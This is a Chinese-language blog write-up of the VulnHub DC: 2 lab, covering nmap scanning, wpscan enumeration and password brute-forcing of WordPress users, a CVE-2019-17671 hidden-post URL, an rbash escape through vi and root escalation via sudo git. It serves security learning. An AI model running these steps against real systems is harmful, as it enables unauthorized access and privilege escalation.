[資訊安全] VulnHub – DC: 2 Write-up

Photo by James Besser on Unsplash

解完 DC 系列的第二題後,對這個系列還蠻著迷的,主要是整個解題脈絡偏向引導式,讓初心者,剛加入資安領域的朋友們可以透過這樣的方式由淺入深的學習,雖然還是需要一些基本知識,但對於有底子的朋友來說,是一個很好的學習管道。

環境設定

VirtualBox: Kali & DC: 2
Net Config: NAT Network

尋找靶機

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-15 11:10 CST
Nmap scan report for 10.0.2.5
Host is up (0.013s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
|   2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
|   256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_  256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

解題過程

首先連線至 IP 10.0.2.5 會自動導向到 dc-2 的 Domain,但實際上並沒有這筆 DNS 紀錄,所以需要手動設置 Hosts,編輯 /etc/hosts 並設置,接著就可以瀏覽到目標頁面了。

WordPress

經驗夠的話就可直接猜出這是個 WordPress CMS,並且存在 FLAG 的頁面,瀏覽後得到第一個提示。

VulnHub – DC: 2 Flag 1

其中提到 cewl 工具,這工具滿有趣的,會針對頁面上的資訊產生字典檔,我想密碼就藏在 WordPress 文章中的幾個單字。

cewl http://dc-2/ -w dc2_cewl.txt

並在 wp-login.php 找到登入頁面。

此時用 admin 去爆破卻沒解果,想想或許還有什麼可以獲取更多資訊的方法,然後就想到被遺忘的 wpscan,這個 wordpress 的偵搜神器就這樣被我忘掉了。

wpscan --url https://dc-2/ --enumerate

得到其他幾個使用者 jerry 與 tom,並且透過 wpscan 爆破,得到密碼分別為 adipiscing 與 parturient。

wpscan --url https://dc-2/ -U jerry -P dc2_cewl.txt

接著登入之後,在 Pages 中發現 Flag2 與第二個提示。

VulnHub – DC: 2 Flag 2

CVE-2019-17671

這邊其實還有一個偷吃步,可以透過 CVE-2019-17671 的方法,直接把隱藏文章顯示出來,這個弱點存在於 WordPress v5.2.4 以前。

http://dc-2/?s=&status=1&order=asc

SSH

這邊直覺就是要往 ssh 去嘗試了,還記得們有兩組密碼,這次拿 tom 帳號密碼去登入 ssh,由於他的 Port 改道 7744 去了,所以指令要加個 -p 7744,不然會用預設 22 Port 連。

ssh [email protected] -p 7744

果不其然,直接就進去了。

Tom

透過 ls 查看到路徑下有 flag3.txt 但卻沒有 cat 可以查看,原因是因為當下的 bash 為 rbash,基本上都嘗試過一輪後,也無法成功跳脫 rbash 的限制,之後發現可以透過指令 compgen -c 來列出可執行的操作指令,其中有發現可以使用 vi,藉此透過 vi 來 Bypass rbash。

vi
:set shell=/bin/bash
:shell

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

主要是透過 vi 去修改 PATH 來提權,這部分不是很清楚原因。

jerry

直接透過 su jerry 切換使用者,並在 jerry 的家目錄下找到 flag4。

根據提示好像是說可以使用 git 提權,使用 sudo -l 發現 git 被設置 (root) NOPASSWD: /usr/bin/git,意指該帳戶使用 git 指令為 root 權限,並且不需要密碼,透過以下指令提權並取得 root。

sudo git -p
:/bin/bash

Final-flag.txt

感謝

2021-01-30 感謝同事糾正內容錯誤

MksYi

透過網路分享知識的學習者。

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

這個網站採用 Akismet 服務減少垃圾留言。進一步瞭解 Akismet 如何處理網站訪客的留言資料